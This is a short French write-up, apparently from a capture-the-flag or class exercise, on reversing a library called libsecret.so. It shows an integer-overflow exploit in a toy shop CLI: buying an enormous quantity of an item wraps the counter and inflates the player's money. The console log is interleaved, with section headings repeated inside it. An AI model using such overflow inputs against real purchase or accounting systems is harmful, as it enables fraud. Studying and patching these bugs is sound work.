

Rapport

Reverse :

Reverse sur la libsecret.so.

Outils utilisés pour la réalisation de la ./2016_P3p1t0/reverse/libsecret.c:

- "objdump" pour décompiler.
- "radar" pour l'assembleur vers le langage C.

Exploit:

"int overflow" sur le nombre de produits achetés ce qui affecte aussi le porte monnaie

```
pepitoCLI>2 putainmonPPC
['2 putainmonPPC']
Money : 0

Ingredient stock
=====
[10] - MDMA
[10] - Whisky
[10] - Cum
[10] - LSD
[10] - Chocolate
[10] - Flour

Reverse :

For sale
=====
Money : 0

Ingredient stock
=====
[10] - MDMA
[10] - Whisky
[10] - Cum
[10] - LSD
[10] - Chocolate
[10] - Flour

Exploit:

For sale
=====
pepitoCLI>6 putainmonPPC LSD 9000000000
['6 putainmonPPC LSD 9000000000']
Ingredient successfully acquired.
Ingredient successfully acquired.
pepitoCLI>2 putainmonPPC
['2 putainmonPPC']
Money : 1043332096

Ingredient stock
=====
Money : 1043332096

[10] - MDMA
Ingredient stock
[10] - Whisky
[10] - Cum
[1625817610] - LSD
[10] - Chocolate
=====
[10] - Flour

For sale
=====
[10] - MDMA
[10] - Whisky
```

Patch :

Remplacement avec des fonctions de la lib C et ajout de fonctions plus adaptées.